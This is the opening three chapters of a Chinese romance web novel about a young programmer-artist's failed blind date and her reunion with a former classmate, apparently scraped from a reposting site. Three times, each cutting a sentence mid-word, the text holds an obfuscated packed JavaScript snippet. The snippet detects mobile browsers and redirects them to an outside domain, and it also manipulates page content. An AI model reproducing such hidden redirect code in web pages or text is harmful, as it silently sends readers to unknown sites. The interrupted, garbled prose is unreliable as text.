《告白特调》 1. 第 1 章 《告白特调》by池芒/晋江文学城 跃空挑高的精致法餐厅,空气里飘散着食物的香气。 华丽水晶吊灯落下的耀眼光斑,给宽沿儿白瓷盘里渺小的温泉蛋,镀上一层昂贵的滤镜。 “林小姐平时也常加班吗?” “还好。”林鸢放下手中餐具,看向洁白餐布的另一端,“正常加班都会提前通知,公司也会按劳动法给加班工资。” “我听友安说,林小姐北理毕业后,就去了科创园上班。进的是集电还是ITC?” “都不是。”林鸢坦然道,“我们公司只是个民营企业,规模不大,拢共二十几个人。” 前者是央企,后者是外资,她一个不沾边。 对面男人微挑眉:“也挺好的。” 二十几岁的小姑娘,五官清秀,白净小脸上架着副浅茶色框架镜。不算太出挑,一双瞳仁漆黑清澈的大眼睛倒是招人。 没有刻意放软却乖巧柔和的声线,很好听。 林鸢“嗯”了声,顿了会儿,伸手拿了个餐包。 一时又无言。 这是林鸢第一次相亲。 带着“以结婚为目的”的任务,和一位昨晚刚交换过微.信,聊天记录不超过5条的陌生男人共进晚餐。 相亲任务是前天空降派发的,已经有了人选,并且安排了“晚宴”,是昨天通知到她本人的。 人是今天见的。 她甚至不知道对方叫什么,只知道男人姓易,经营一家P2P公司,“帅气多金”,“年少有为”。 就这,也全托她继兄时不时地自发宣传:你知不知道我们易总有多牛逼。仿佛他吹的不是老板,而是亲爹。 别扭、僵硬、淡淡的焦躁,又莫名夹杂着一种无所谓的心态,各种乱七八糟又矛盾的情绪,将她以一种惯用的“安分”姿态,固定在座椅上。 “林小姐平时,也不怎么爱化妆吗?”男人又温和地问她。 林鸢咽下嘴里的面团:“抹了隔离的。” 临出公司去了趟洗手间,镜子里的自己班味浓得赶超商场香水柜哥,林鸢赶紧又回工位,打开抽屉拿出隔离快速糊了一脸。 男人看着她笑了笑。 果然年纪还小,言谈不懂转圜,一眼望得到底。 林鸢莫名起了点儿鸡皮疙瘩,又有点儿想叹气,余光扫了眼别桌。 整个餐厅的客人,不至于隆重到全穿礼服,但像她这样穿着白T牛仔裤,套了件格子衬衫就来的,的确没有。 她也不想穿这样的科创园牛马标配装,来人均低消3000加的餐厅吃饭。 可昨晚因为要相亲的事儿焦虑得失眠,早上睡过了头,担心迟到,随便扯了身“工装”,抓了个马尾就出了门。 中午接到妈妈的电话,说帮她拿了隐形眼镜、化妆品,还有两件合适的衣服来,放在他们一楼前台了。衣服是新的,没见她穿过,挺漂亮的,就给她送来了。 她连连说好,忙完就下去拿了换。 这两天,公司本来就在赶A大的能源监管系统,A大对接的老师昨晚又临时要加一些功能。销售连夜和她反馈,她一整天都在改图标。 就这样忙到傍晚,在换身衣服好好打扮一下,和按时赴约之间,林鸢果断选择了后者。 来之前她也想过,到了之后解释一下,此刻又觉得没有必要。 餐桌上手机微震,林鸢扫眼过去。屏幕上亮起两条绿色的横幅。 手机点开,是妈妈。 【晚上吃饭没迟到吧?和易先生谈得怎么样?】 【鸢鸢,妈妈不是想叫你随便找个男人就嫁,只是听你哥说的情况,易先生条件是真的不错,你先接触接触,万一有缘分呢?】 看见消息,林鸢心里的那点焦躁,即刻被深深的无奈替代。 她垂头闭了下眼睛,半口气哽在胸腔里。睁开眼,手指头摁下:【妈妈,我知道的。】 发完,又轻抬手机,给餐桌中间男人动过两块的牛排拍了个照。随后又发:【放心吧。你看,在吃饭了。】 易先生扫了眼她的动作,洞察般地笑了下。 不是男人眼中的顶级美貌,却很适合婚姻。 素颜中上,不会打扮,胜在年轻、乖巧、温顺。虽然没见过什么大世面,学历倒也尚可,足够教养孩子。 林鸢没注意他的表情,思绪有些游离地盯着手机。 身后不远处,突然发出金属刀叉掉落的声音,林鸢条件反射转头。 服务生赶紧上前,帮忙捡拾,安慰顾客,又替客人换新的餐具。 而宽阔的过道间,正巧有个人和服务生擦身而过。 林鸢心脏猛地一跳。 明知道他背对着自己不会看见,还是下意识地赶紧回过头。 高中、大学,教室、操场,见过太多次,以至于即便一年未见,那依旧是她这辈子都不会认错的背影。 长腿跨步利落,上半身像是坐在闲适踱步的马背上,带着有节律的轻晃。 明明身姿挺拔,却又随性得有点儿懒散,反倒没了装腔作态的意味。 心跳没有半点要安静的意思,林鸢也不知道自己在紧张什么。 她不想让他看见自己在这里相亲。却又仿佛自虐似的,隐隐有些期待他看见。 “林小姐,冒昧地说一句,我对你还挺满意的。” “我相信我的两个女儿,也会喜欢你的。她们很聪明,也很可爱。将来如果有了……” 林鸢满脑子那个背影,以至于易先生和她切入正题时,她下意识提高了点儿音量,错愕道:“……什么?等一等,你结过婚?还有两个孩子?” 男人脸部肌肉落了一瞬,又挂上虚笑,问她:“你哥没和你说吗?” 林鸢胸腔克制地起伏了下,都快气乐了。 这就是她便宜“哥”口中,“除了年纪比你大十岁,哪里配不上你”的“优质男人”? 她哪边脸上刻着爱给人当后妈的标语吗? 嘴唇动了动,又紧紧阖上。 她要是这会儿翻脸,这男人不会叫她AA吧?那是不可能的。她只碰了温泉蛋和一个餐包…… 脑子还没想好怎么应对,早上胡乱抓的马尾,就被人从身后轻扯了下。 熟悉的清冽须后水味,混杂着浅淡的陌生木质香气罩下来,林鸢一滞。 “不就是吵个架么,至于这么久不理我。”一把性感低磁,带点儿玩世不恭的好嗓子。 近得快贴到她耳骨上。 林鸢下意识捏紧手里的东西来克制情绪,慢腾腾偏头。 灯光下,细腻如象牙白釉的一张脸,削薄的俊秀五官,锐利得生出些邪气。 白皙下颌连着脖颈的线条,因为侧身撑住餐桌和她椅背的姿势而拉长,弧度完美如画。 男人抬了抬一侧眉目,狭长微挑的桃花眼轻敛,漆黑瞳仁碎光点点,歪着脑袋,半笑不笑看着她。 恣肆妄为的勾人模样,一如既往。 林鸢完全没料到他会折返,更没料到,他会这么没脸没皮没事人一样,说出如此暧昧不明引人遐想的话。 来不及去看易先生的表情,林鸢抬眼瞪他,习惯性的一句话低声脱口:“江随,你有病吧!” 江随闻言微顿,却莫名笑起来,视线不移,肩线轻颤,似乎心情很好,语气越发散漫熟稔:“终于不生气了?” 意有所指的一句话,将林鸢翻腾的情绪浇熄了大半。 毕业前,俩人闹得并不愉快。 但说到底,江随并没有错。 抿了抿唇,林鸢问他:“你……也来吃饭?” 易先生不露声色地观察着俩人的互动。 今晚这餐饭,本来是宴请一家风投公司女高管的。但对方昨天临时爽约,这家餐厅又不能退餐,正巧有这场相亲,也算物尽其用。 眼前形姿出色的男人,他刚才就有注意。 有些眼熟是一方面,男人从露台出来是另一原因——这家餐厅只在春秋最适宜的季节,开放俩月的露台风景位,不接受预定,只接待邀请。 在北城,有时光有钱,是不够看的。 林鸢问完,江随脸上仍挂着笑,却轻“啧”了声,动作自然地拉过她手腕,直起身:“行了,你又不爱吃这些。走了。” 说完,另一手拿过她放在一边的双肩包,好像从头到尾没看见对面还有人。 餐厅里目光汇聚过来。 “哎你……”林鸢被他用力拽起来,想和易先生说声抱歉——此刻的她像极了和男朋友吵架还跑出来相亲的渣女。 即便对方从开始到现在,看似温和有礼的聊天,全是充满优越感的审视。 36岁二婚二孩男想找年轻小姑娘,也并非无人愿意。只是她继兄隐瞒了实情而已。 林鸢目光落到易先生脸上,却看到他将视线从江随身上挪开,非但没有怒意,反倒温和地真心了些,冲她笑着点了点头。 这样揣测忌惮中隐隐藏着算计,并把她作为踏板的姿态,她不是第一次看见。 林鸢仅剩的那一点儿歉疚也没了。 - 江随将她带进电梯才放开。 七八十个数字,他揿下1。 林鸢这才注意到,江随穿得也很随意。 宽松的黑色长袖衬衣,户外面料的浅灰色抽口长裤,深灰色运动鞋。衣服是正经衣服,却被他穿出了莫名的骚气。 林鸢抿了抿唇,又觉得自己也不算异类。 按理说他们合该再熟悉不过。高中三年同桌,大学四年同系同班。 可毕业后这一年时间,默契地互不理睬也是真的。 刚才大庭广众突然的交集还没多少感觉,此刻俩人单独站在封闭的电梯厢里,林鸢才慢慢觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769056|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点儿别扭。 他们这就算和好了?还是江随作为“朋友”的解围? 他当初不是冷着脸对她说“林鸢,你真以为我没脾气?”的吗?这一年时间自己消化好了? …… 林鸢还在脑补,江随已经没骨头似的靠上了厢壁。他歪过头,懒散问她:“去年同学聚会怎么没去?” 林鸢顿了下,语气自然道:“突然加班。” 江随微挑眉,没有接话。林鸢却觉得他在说:看看你自己挑的好公司。 电梯键板上的数字越来越小,空气安静到尴尬。 七十多层的酒店,为何居然没有人进来? 林鸢觉得这就是餐厅开在酒店顶层的坏处。 如果是写字楼,高低有加班到这个点的牛马下班。 “你才多大,就已经沦落到要相亲了?”电梯过半,江随又突然问道。话音随意,像是闲聊。 已经平复的心跳重新失序,林鸢捏了捏手机,有些硬邦邦地陈述:“26岁。还没谈过恋爱。” 江随没好气地笑她:“生下来一岁,十天后过年又一岁是吧?林鸢,你能不能老实点儿,别尽占我便宜。” 回忆闪现,林鸢咽了口:“习惯了,我老家讲虚岁。” 江随没再纠结她一下虚两岁的变态算法儿,淡扫她一眼:“想谈恋爱了?” 明明是自己挑起来的话头,林鸢却突然觉得有些紧张,想开口,嘴唇却黏住了似的,有些干。 有人的手机震起来。 江随扬眉,喉间若有似无低“嗯?”了声,仿佛在疑问:居然还有信号。 林鸢看他去摸后裤袋的手机,才发现装着笔记本电脑的双肩包还在他手里,赶紧接过来。 江随垂头看见屏幕,看了她一眼,划开接听。 “电梯了,马上下来。”还是那副懒散的语调,“嗯。” 林鸢挂上背包,眨了下眼,不知道对面是谁。 电话挂断,俩人好像都忘了刚才未尽的对话。电梯门打开,等在一楼的客人和他们错身。 “怎么这么久?”熟悉的女声笑着冲江随说。语气有轻淡的埋怨和包容。 眼底踩进一双漂亮的高跟鞋。 正在低头整理双肩包肩带的林鸢,有一刹那窒息的感觉。 因为曾经的一些原因,有一段时间,她特意辨认和熟记过这些奢侈品,甚至一些小众的老牌都有研究,生怕遗漏再闹出笑话。 那双号称“每个女人一辈子至少要有一双”的Jimmy Choo,在女孩子脚上熠熠生辉,像极了灰姑娘的水晶鞋。 那样华丽的款式,大概要她不吃不喝两个月的薪水。 或许是饿了一下午,却只吃了一点东西的缘故,从胃里泛起的酸涩一路倒漫进嘴里。 林鸢突然觉得特别难堪。 不知道从什么时候开始,对江随时不时的怨气一下冒了出来。 他既然是和女朋友一起来吃饭的,又何必来找她。 林鸢抬头,看见韩知希唇角挂着淡弧,朝她点了点头。林鸢用差不多的表情,还她点头示意。 “怎么不先上车?”江随走过去,接过她手里的车钥匙。 “鞋跟太高了,等你来开。”韩知希说。 江随看了她一眼,淡“嗯”了声。又转身问林鸢:“你……” “我坐公交就行。”林鸢踩着他第一个话音快速说道。 林鸢在说出这句话前,一直觉得自己的人生,和文艺没有半点干系。 此刻的她,却出奇得富有戏剧性。像极了电视剧和小说里,自作多情的女配。 因为江随扫了眼不远处的公交站台,挂笑挑眉:“行吧。” 男人语气里那抹戏谑和闲适,突然刺痛了林鸢。长久以来时隐时现的疼痛,在这一刻无比尖锐起来。 她捏着锁屏的手机抬了抬:“我车要来了。” 说完,也不说再见,没管别人什么反应,脊背挺直快步走开。 公交站台上,林鸢低头盯着手机软件。下一趟直达她家的车,刚刚出站。 漂亮的跑车呼啸而过,江随在后视镜里看了她一眼。林鸢视线躲在镜片后,纹丝未动。 当年校园里金童玉女分分合合的故事,林鸢自然也有幸见证。 喉间像哽了团湿棉花,但经过了漫长夏季的暴晒,那团棉花里的水分逐渐蒸干。 已经透得过气,却依旧叫人难受得奢望更多空气。 霓虹交错的夜空,团积起蓝灰色的厚厚云层。 脚边掉落的一片银杏,仿若盛夏结幕的谢词。 林鸢都不明白自己有什么好难受的。这么久了,还没习惯吗? 她就算有些不适应此刻季节交替的凉意,也早该习惯她和江随的相处方式。 毕竟认识江随的这些年,她无非不在试探、等待,和被留下。 2. 第 2 章 林鸢到家已是一个半小时后。 90式的无电梯楼房,二楼的声控灯又坏了。 林鸢剁了两脚,也没见它眨眼。 倒是郑敏听见声音,提前开了门,站在三楼等她。 “鸢鸢回来了?” “妈妈。”心下一暖,林鸢笑,抬头叫她。 俩人进屋,林鸢喊了声“叔叔”,在门口换拖鞋。 继父曾湛英和继兄坐在小客厅沙发上,一个在看最近热播的谍战剧,一个捧着手机打游戏。 “鸢鸢,怎么回事?友安说你没吃完就跟别人走了?”郑敏帮她托了把背包,小声问道。 电视机里,敌人正在威逼利诱审讯主角。 曾友安暴躁地从沙发上弹起来,骂了声“傻逼”,把手机扔到茶几上,阴阳怪气地来了句:“林鸢,有男朋友也不早说,还让家里操心你婚事。” 林鸢放球鞋上鞋架的手一顿,没抬头,却忍不住语气有点儿硬:“人家有女朋友的。”站起身,对郑敏说,“是我高中那个同桌。” 郑敏了然,笑着温声和爷俩解释:“那是鸢鸢同学,易先生应该是误会了。要不……” “易总结过婚有两个孩子。”林鸢平静地说。 郑敏一愣。 连曾湛英也将目光从敌我交锋挪向曾友安。 曾友安瞄了眼亲爹,摸了摸鼻子,自知理亏。 他亲爹除了个大学教授的头衔,也没什么拿得出手的地方。 没钱抠门还死要面子,是绝对不会允许自己在同事圈子里,有“为了给儿子结婚腾房,把继女嫁给二婚二孩男”这种名声的。 但也奇怪,轮到他自己,当年倒知道找个比自己小十二岁,年轻漂亮的了。 “易总也没怪你,就是好心提醒我们家一声,怕你真有男朋友不好意思说。”曾友安赖回沙发里,看向林鸢,老神在在地说,“对了,既然都认识,叫你朋友一块儿出来吃两顿饭呗。我跟你说我们公司最新有个新池还没满……” 林鸢只觉得有点好笑,就那么一会儿的功夫,江随就成了别人眼里潜在的,可以助人更上一个圈层的贵人了? 她就说,今天这亲相得这么失败,她回来便宜哥也没闹呢。 林鸢解下书包拎在手里,顺便看向他,面无表情翻了个白眼。 “爸!你看她,她又瞪我!”曾友安重新弹起,气急败坏地向亲爹告状,宛若小升初的未成年。 曾湛英偏头。 林鸢没去看他,反而一脸不可置信,委屈又不敢言地怯怯看向曾友安,就差慌乱摇头,无力辩解“我没有”。 “行了,多大的人了,没有一点当哥的样子。”曾湛英不轻不重地说了儿子一句。 林鸢这个继女,在家话不多,长得乖巧,人也听话。没事的时候常帮她妈做家务,也不会像别的小姑娘一样追求吃穿,追求牌子。 小姑娘刚来这个家的那一年,脾气也有些倔,和他儿子闹过一次矛盾。后来被郑敏劝导过,小毛病也就改了。 曾湛英对她虽然谈不上多喜欢,却也不至于讨厌。很安分的小姑娘。 “不是爸,她真冲我翻白眼儿了,你们怎么就不信呢!” “行了,闹什么闹。” “妈妈,叔叔,那我先回房间了。”曾友安还在控诉,林鸢拎着背包,乖乖和他们打了声招呼。 曾湛英点头“嗯”了声,郑敏拿过茶几上的空水杯,弯腰给他加了点温水。曾湛英坐着没动,只偏过身子,去看被她挡住的画面。 曾友安脚翘到茶几上,骂骂咧咧地重新玩起游戏,小卧室房门被敲响。 “妈,门没锁。”林鸢在拿待会儿洗澡要换的衣服,床尾对着衣柜,开着衣柜门正好卡主,只好喊道。 曾湛英不会来敲她门,曾友安只会踢她门一脚,再连名带姓没好气地大喊一声“林鸢”。 郑敏进来,扶着柜门,看她把衣服先扔床上,再侧缩着身子,关好一侧柜门,转身让开,关另一侧。 林鸢绕出来:“怎么了妈妈?” “鸢鸢,坐,妈妈和你聊聊。” 林鸢瞥了眼自己一米二的小床。 她起初也有些受不了穿着外裤就往床上坐,但看着那张横对住小床,既当书桌又当化妆台的旧木柜,拉开就能顶到床沿儿的一把小椅子……林鸢乖乖坐住一点点床沿边边。 贫穷治好一切洁癖。 “妈妈不晓得那个易……易总是那样的情况。” “我晓得,”林鸢笑,语气有自然的撒娇意味,“你知道了才不会让我去呢。” 郑敏好笑,却说:“那我让你曾叔叔再……” “妈妈,”林鸢无奈,再次争取,“其实我可以租房子,搬出去住的。” 郑敏微滞,轻声道:“你人在北城,又不是去外地工作,还让你一个人出去租房子住,说出去像什么话。” 老曾这个人,就是把名声看得很重。当年找人再婚,也是要求找和他情况相近,二婚,没有孩子或者带个女儿的。 林鸢只觉得泄了一口气,不自觉地低头不再说话。 “再说,女孩子早晚要嫁人的。”郑敏抬手,把她颊侧碎发轻轻拢到耳后,“你现在这个年纪,也有更多选择的机会。” 林鸢盯着干净但翘边的木地板,很想反驳她:嫁人这种事,哪有什么早晚、总要,和必须。 但这样鬼打墙似的对话已经不是第一次了,再说仿佛也没什么意义。 这个家是曾湛英的工龄补贴房,虽然产证面积不大,却没有公摊,七八十个平方辟了三室一厅。 林鸢住的朝北这间小卧,以前是曾湛英的书房。 曾友安的女朋友来家里吃过饭,陪她在厨房洗碗的时候,言语间也试探过她的情感生活。 那个女孩子走后,曾友安也在家里闹过。 大体内容无非—— 人家女孩儿没嫌弃他们家买不起新房,肯和公婆住已经是难得。难不成还要伺候便宜小姑子? 虽然是在她回房后和曾湛英吵的,但嗓门大到力求让她听到、听清、听明了。 林鸢大概也猜得明白,他们希望自己尽快嫁出去的原因。 对这个“家”来说,没有嫁出去的“女儿”,即便有了养活自己的能力,即便工作后按时按月给家里交生活费,也依旧是负担。 只有结了婚,成了“别人家的”,才算是大家彻底放下的心事。 否则也不会有那么多父母,在女儿婚礼当天松了口气般庆幸:终于完成了任务。 小时候的林鸢听见这句话,非常不理解。因为那时的林鸢,大概率不会成为这样的“任务”。 但一切的可能,终于一场意外。 林鸢当然不会怀疑郑敏对她的感情。毕竟当年母亲嫁给比自己大十二岁,儿子都已经上大专,身体还不好需要人精心照顾的男人,说到底,也是为了她。 有了这场婚姻,才有了她来北城上学生活的机会。 但母亲也已经不是她一个人的母亲。她不仅是她的妈妈,也是这个家的女主人。 “鸢鸢,我知道,你没谈过恋爱就相亲,多少会觉得委屈,”郑敏扫了眼门板,放轻声音,“但你想想我和你爸爸,也是相亲认识的,不是也过得很好吗?” 这些年早已爬上老态,却依旧秀美白净的脸上透出怀恋。 林鸢心里一闷,呆呆地盯着自己手指。 她当然知道,郑敏说的这个爸爸,是她的亲生父亲。 是从什么时候开始,除了每年清明的祭扫,母女俩仿佛默契地达成了,不再去提及从前的共识。 “鸢鸢,”郑敏不知道她在想什么,又试探着问,“你是不是有喜欢的人了?” 郑敏这句话,像在林鸢裹了根刺的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769057|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口软软捏了把,迫使她猛地抬头。 近在咫尺的书桌上,那张高中毕业的大合照人影模糊。 林鸢窒闷地呼了口气。 “放心吧妈妈,”林鸢笑道,似乎很骄傲的语气,“我没有喜欢的人。” - 林鸢洗完澡回卧室,毛巾捂着头发插好吹风机,拉开椅子坐下。 轰隆隆的暖风声里,那张合照安静地立在原地。 她不是没有和江随的单人合照,却从来没有光明正大摆出来过。 高三毕业那一年,拿到班级合照的林鸢,特意拿攒了两个月的零花钱,买了个合尺寸的金属相框。 理科班女生本来就不多,又因为江随的关系,其实她和班里同学,关系算不得多亲近。 但她还是将这张合照,摆在了目光所及之处。 后来的许多次,在被某些情绪来回拉扯的间隙里,她都有想过把这张合照收起来。 但又没来由地会想:已经摆出来的东西再收回去,是不是会让人觉得欲盖弥彰。 林鸢有时觉得自己也挺可笑的,真是应了后来网络上流行的那句话:你的人生其实没有那么多观众。 就像她别扭的小心思,其实根本无人在意。 手机屏上突然亮起的绿色横幅,将她晃回神。 林鸢拨弄头发的那只手去拿手机。 李想:【下个月同学聚会去不去?】 对方是江随朋友,她的高中同届校友。内容和发信人并不匹配的一句话。 林鸢愣了两秒,耳朵一烫。 “嘶——”吹风机的风口碰到了耳朵,林鸢赶紧关掉开关,放下吹风机,歪头,拿指背的凉意贴住被烫到的地方。 还没放开的手机又是一震。 李想:【接电话。】 几秒钟后,手机像个烫手山芋,在她手心里孜孜不倦震动起来。 接不接? 说什么? 他要说什么? 有病? 即便无人看见,拇指划开接听的动作也要显得随意又自然。 她倒要看看这男人又要说些什么。 逃避显得她在意什么一样。 屏幕贴上脸颊,林鸢沉默。 对面像是没料到她会这么容易就接,显然有一两秒的置空。 “她就是放假回来看她爷爷奶奶,顺便叫我吃个饭。” 惯常慵懒的语调,却少了点平日里吊儿郎当的意味。 莫名其妙没头没尾的一句解释,却听得林鸢思绪翻滚。 韩知希高中就去了国外,当年出国前在操场和江随告别,轰轰烈烈犹如偶像剧照进现实的一幕,直到现在,都在他们那届校友群里被反复热议。 林鸢并不想回想。 可面对他们的故事,她就像个被资本摁头喂饭的倒霉观众。不想看,却每个频道都在热播。 她承认,对江随的一切,她做不到云淡风轻不在意。对她而言,想放弃一件事情,最好的办法就是彻底隔绝。 本以为一年的时间,不去见面,不给回应,有些东西终归是能淡忘的。 可今晚的匆匆一面才叫她认清:要靠时间来遗忘的人,经不得见面。随意一眼,又是重蹈覆辙。[注] 林鸢没出声,也没有挂电话。 胃里搅涌的酸涩,又在提醒她今晚没有吃饱。 明明此刻的她应该挂断电话,站起来,去厨房给自己煮一锅泡面。 再加个鸡蛋。 可她却像离魂了一样,不怒不喜地静在那里。 长久的沉默,电话那头突然轻叹了声。 林鸢握着手机的指节微微收紧。 “‘麻烦你有女朋友的时候,离我远点儿’”,男人延着尾音,拖腔带调地无奈复述道。特意放软的低磁嗓音,过了电流似的带着蛊惑,“我都记着呢,小姑奶奶。” 3. 第 3 章 热气散掉的半干披肩发,潮凉地贴在她耳郭上,让那只被风口烫到的耳朵越发滚烫。 似乎不需要林鸢给予这句话任何回应,江随说完便又低声问:“那你去吗?” 像小动物温厚柔软的皮毛扫过耳骨,叫人心软。 林鸢无声清了清嗓子,用尽量随意的语调说:“有时间就去吧。不知道会不会加班。” 片刻安静,男人低低笑了声:“行。” 电话挂了没两秒,“李想”又发来一条微.信。 【把我电话和微.信放出来。】 林鸢鼓了鼓脸,把唇角上翘的弧度撑开。 下一秒,她放下手机走出卧室。 郑敏还在厨房里,父子俩已经回了各自的卧室。 “妈,国庆先不要帮我安排了,我应该……要加班。”林鸢放轻声音说。 郑敏正在泡发明早要磨豆浆的黄豆,闻言顿了下,温笑道:“好,工作也重要。正好我还没和你叔叔说,那等你忙完国庆吧。” “好的妈妈。”林鸢笑嘻嘻地搂了搂她,然后打开冰箱,翻里面的挂面和鸡蛋。 “晚上没吃饱?” “嗯,饿死了。”林鸢语气轻快。 “行了,我来下吧。”郑敏笑着在围裙上擦了擦手,扶住她手臂,把她从灶台边端开,“去把头发吹干,小心感冒。” “没事儿我自己来就行。” “快走快走,挤得我身都转不开。”郑敏作势嫌弃。 “行吧,谢谢妈妈。”林鸢嬉皮笑脸地被她推出厨房。 郑敏好笑,却也没觉得母女之间道谢奇怪。她刚和林鸢爸爸结婚时,也常被他笑着和她道谢的样子弄得不自在,以为那是他和自己见外。后来生了林鸢,发现他和女儿说话也是那样,林鸢小小班开始和他们分房睡,进女儿房间,他都要先敲门。 锅里水过半,郑敏架上灶台,打开火。 小卧室,林鸢拿掉眼镜凑近镜子。 小圆镜里,小小的下颌在昏暗灯光下依旧白皙。秀气挺翘的鼻尖,略淡的眉毛和唇色,衬得一双大眼睛格外显眼。 其实她不戴眼镜的时候,也挺好看的……的吧? “……”林鸢,像男人一样自信起来! 什么叫的吧,就是挺好看的。 拍拍自己脸颊,林鸢戴上眼镜站起来,拿过挂在门后还没整理的背包,拉开拉链。 那套去年国庆前买的吊带连衣裙和针织开衫,整齐叠在背包里。 幸好今天没来得及换,不用再买新衣服了。 林鸢翘着唇角,把衣服塞进衣柜。 这才想起还没把某人放出来。 掏出睡衣里的手机,黑名单里成员减1。 被她备注为江随的那个灰黑色头像,立刻跳出一条消息。 【那我等你。】 林鸢微顿。 这家伙……不会是一条一条试到现在吧? “……有病吧。”她站在衣柜门中间,慢腾腾评判起来,“幼不幼稚?” 眨巴了两下眼睛,翻身趴上小床。 闷在枕头里的嘴角,克制地弯出抿直的弧度。 过了一分钟,林鸢没有要露脸的意思,反而抓着枕头两端,压着脸在床上滚了半圈,小声嘀咕了一句:“没出息。” - 班,是不会因为林鸢第一次相亲失败,而不用上的。 办公室里,林鸢打完卡坐进工位。 见她过来,坐她旁边负责测试的杜莱推了推眼镜,立马一脸八卦地凑近:“昨晚战况如何?” 桌上的台机杜莱已经帮她打开,桌面上放着两颗包装漂亮的巧克力。林鸢拿起来朝她晃了晃:“谢啦。” 杜莱是北城本地人,家里条件不错,爸妈宠着,比她大三岁,人却依旧孩子气。自己吃零食,也不忘投喂她。 “别打岔,赶紧老实交代。” 林鸢边将笔记本电脑从背包里拿出来放上支架,边一脸毫无世俗欲望地陈述道:“差点成了两位白雪公主的后妈。” “我就说36岁的老男人没结过婚,要么是身心有问题要么是人品有问题吧!”杜莱一拍电脑桌,义愤填膺,“合着早结过啊!” 林鸢笑,还是解释了一句:“不是他自己没说,”停了半秒,“是中间人没说实话。” 曾友安从没把她当过妹妹,她没事也不想叫哥。 杜莱撇撇嘴:“都没安什么好心。都有俩女儿了还要再找个年轻十几岁的小姑娘,能为了什么。” 林鸢扬了下眉,再同意不过。 “那你还要接着相吗?”杜莱她爸妈巴不得她不结婚,因此对林鸢这样的“受害群体”深表同情。 林鸢想到即将到来的国庆,笑了下:“暂时不了吧,看情况。” “两位美女聊什么呢?”门口脚步声朝她们这来,听着心情不错。 他们公司人少,没有像大公司一样设立部门,大家有固定的座位,各司其职。 “哇,陈工你今天好时尚啊。”杜莱略带夸张地捧场道。 “是吧?还可以吧?”陈工拎着自己挺括的衬衣领抖了抖,“晚上跟我女朋友去看电影,特意新买的。” 林鸢闻言,眨了眨眼。 普普通通的蓝白竖条纹衬衫。在一片“天堂伞”的海洋里,倒也的确特立独行。 很好,程序员有自己的时尚。 林鸢抿着唇给陈工竖了下大拇指。 陈工更自信了,终于想起要说的事:“对了小林,你最近有空吗?” “怎么了?”林鸢好奇。 陈工“嘿嘿”两声,摸了下自己光滑的额角:“下个月小鱼和我三周年,我给她做了个小游戏,想请你画点东西。” “啧啧啧,这就是理工男的浪漫吧。”杜莱咧着嘴摇头,一脸既齁到又嗑到了的表情。 林鸢初二之前,在老家文化宫画画兴趣班泡了六七年,平时也爱涂涂画画,她在社交平台上有个小号,偶尔也接些小单子。 “行啊。”林鸢也替有情人开心,“那你把要求发我。” “好嘞,”陈工道,“我着急要,你记得加加急费啊。” “加急费就不……” 林鸢话还没说完,“小林子收呗收呗,”杜莱撒娇的语气晃她胳膊,“你不收回头他们叫我帮忙,我都不好意思叫他们请我吃饭。” 林鸢顿了下,笑起来:“行吧。谢了陈工。”又把身子晃近杜莱,小声,“谢了莱莱,拿到钱请你吃好吃的。” 杜莱胳膊抻到她桌上比了个OK的手势。 心情愉悦地剥了颗巧克力塞进嘴里,林鸢开始查看不同项目的工作群里有没有艾特她的消息。 对林鸢来说,在陌生人和熟人面前,都是放松的。半生不熟的关系,才最叫她紧绷。 来这里一年多,单从公司同事和氛围来说,她还是很喜欢现在这个工作的。 回了两条工作消息,微.信上跳出大学室友余一欣的长篇大论。 大意是:原先和她约好国庆一定要见一面的余一欣,因为男神终于答应和她恋爱而要去外地旅行,和她的约会只能含泪取消。 林鸢看着她撒娇卖萌外加诚恳道歉的小作文笑。 初中时那场意外,转学、换城市生活,高中时因为江随,林鸢几乎没什么同性朋友。余一欣是她在大学时,唯一交到的朋友。 林鸢自然也知道她伟大而又艰辛,跨越小半个中国的追男神之路。因此十分理解她的“重色轻友”。 林鸢恭喜她终于攻略下男神,又说:【那我们下回再约。】 【好的好的么么么么,给你带礼物!】 一早上两对有情人,空气格外香甜。 老板谢松柏从玻璃隔间出来,看见林鸢,朝她这儿来。 “小林,你国庆后第一个工作日晚上有安排吗?”知道林鸢昨天是去相亲的,再看她毕业一年也丝毫没有动静的感情生活,谢松柏大概也猜到,在相亲这件事上,她家人估计是要给她加强度的。 “没安排。怎么了师哥,是要加班吗?” 谢松柏十年前毕业于北理,成立这家齐柏信息后,每年都会参加北理校招,同校的同事,习惯叫他师哥。 “那行,那天晚上我要请张校长他们吃饭,你一起去啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769058|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林鸢:“……” 